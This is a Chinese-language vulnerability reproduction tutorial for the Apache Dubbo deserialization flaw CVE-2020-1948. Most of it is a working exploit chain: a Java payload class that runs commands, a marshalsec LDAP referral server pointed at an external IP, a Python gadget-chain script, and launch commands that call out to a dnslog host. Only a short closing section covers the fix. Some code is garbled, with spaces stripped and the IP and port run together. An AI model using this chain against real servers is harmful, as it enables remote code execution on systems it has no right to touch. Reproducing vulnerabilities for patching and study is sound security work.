Dubbo是阿里巴巴公司開源的一個高效能優秀的服務框架,使得應用可透過高效能的RPC實現服務的輸出和輸入功能,可以和Spring框架無縫整合。該系統具備三項核心功能,包括遠端介面方法呼叫、智慧容錯和負載平衡,以及服務的自動註冊和發現。
2020年06月23日, Apache Dubbo 官方發布了Apache Dubbo 遠端程式碼執行的風險通告,該漏洞編號為CVE-2020-1948,漏洞等級:高風險。 Apache Dubbo是一款高效能、輕量級的開源Java RPC框架,它提供了三大核心能力:面向介面的遠端方法調用,智慧容錯和負載平衡,以及服務自動註冊和發現。 Apache Dubbo Provider存在反序列化漏洞,攻擊者可以透過RPC請求發送無法識別的服務名稱或方法名稱以及一些惡意參數有效載荷,當惡意參數被反序列化時,可以造成遠端程式碼執行。
Dubbo 2.7.0 - 2.7.6 Dubbo 2.6.0 - 2.6.7 Dubbo 2.5.x (官方不再維護)
運作環境與編譯exp環境jdk版本皆為8u121,啟動測試環境
java -jar dubbo.jar
啟動後會監聽12345埠
服務指紋:
PORT STATE SERVICE VERSION12345/tcp opentextui Alibaba Dubbo remoting telnetd
建構poc,我們這裡執行一個ping指令來驗證是否可以執行指令,新calc.java,
importjavax.naming.Context; importjavax.naming.Name; importjavax.naming.spi.ObjectFactory; importjava.util.Hashtable; publicclasscalc implementsObjectFactory{@OverridepublicObjectgetObjectInstance(Objectobj,Namename,ContextnameCtx,Hashtable<?,?>environment)throwsException{Runtime.getRuntime().exec("ping test.sr3uwk.ceye.io"); returnnull; }}
編譯poc
javac calc.java
#將編譯好的poc(calc.class)放到web網站目錄裡,確保漏洞主機可以存取到使用marshalsec專案啟動一個ldap代理服務,marshalsec下載:
https://github.com/RandomRobbieBF/marshalsec-jar/raw/master/marshalsec-0.0.3-SNAPSHOT-all.jar
啟動LDAP代理服務,執行該指令ldap服務會監聽8086埠
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServerhttp://139.9.198.30/#calc 8086
執行測試腳本,此處測試使用python環境為3.8.0,先安裝依賴套件
python3 -m pip install dubbo-py
#腳本內容(Dubbo.py):
# -*- coding: utf-8 -*-importsysfromdubbo.codec.hessian2 importDecoder,new_objectfromdubbo.client importDubboClientiflen(sys.argv)<4:print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))sys.exit()client =DubboClient(sys.argv[1],int(sys.argv[2]))JdbcRowSetImpl=new_object('com.sun.rowset.JdbcRowSetImpl',dataSource=sys.argv[3],strMatchColumns=["foo"])JdbcRowSetImplClass=new_object('java.lang.Class',name="com.sun.rowset.JdbcRowSetImpl",)toStringBean=new_object('com.rometools.rome.feed.impl.ToStringBean',beanClass=JdbcRowSetImplClass,obj=JdbcRowSetImpl )resp =client.send_request_and_return_response(service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',# 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。method_name='$invoke',args=[toStringBean])output =str(resp)if'Fail to decode request due to: RpcInvocation'inoutput:print('[!] Target maybe not support deserialization.')elif'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()'inoutput:print('[+] Succeed.')else:print('[!] Output:')print(output)print('[!] Target maybe not use dubbo-remoting library.')
#執行腳本
python3 Dubbo.py 192.168.137.17312345ldap://139.9.198.30:8086/calc
dnslog查看,成功接收到請求
ldap服務也可以看到請求轉送
彈計算器
import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable; public class calc implements ObjectFactory { @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { Runtime.getRuntime().exec("calc"); return null; } }
升級2.7.7 版本,並根據以下連結的方法進行參數校驗
https://github.com/apache/dubbo/pull/6374/commits/8fcdca112744d2cb98b349225a4aab365af563de
# #更換協議以及反序列化方式。
以上是怎麼進行Apache Dubbo反序列化漏洞的分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!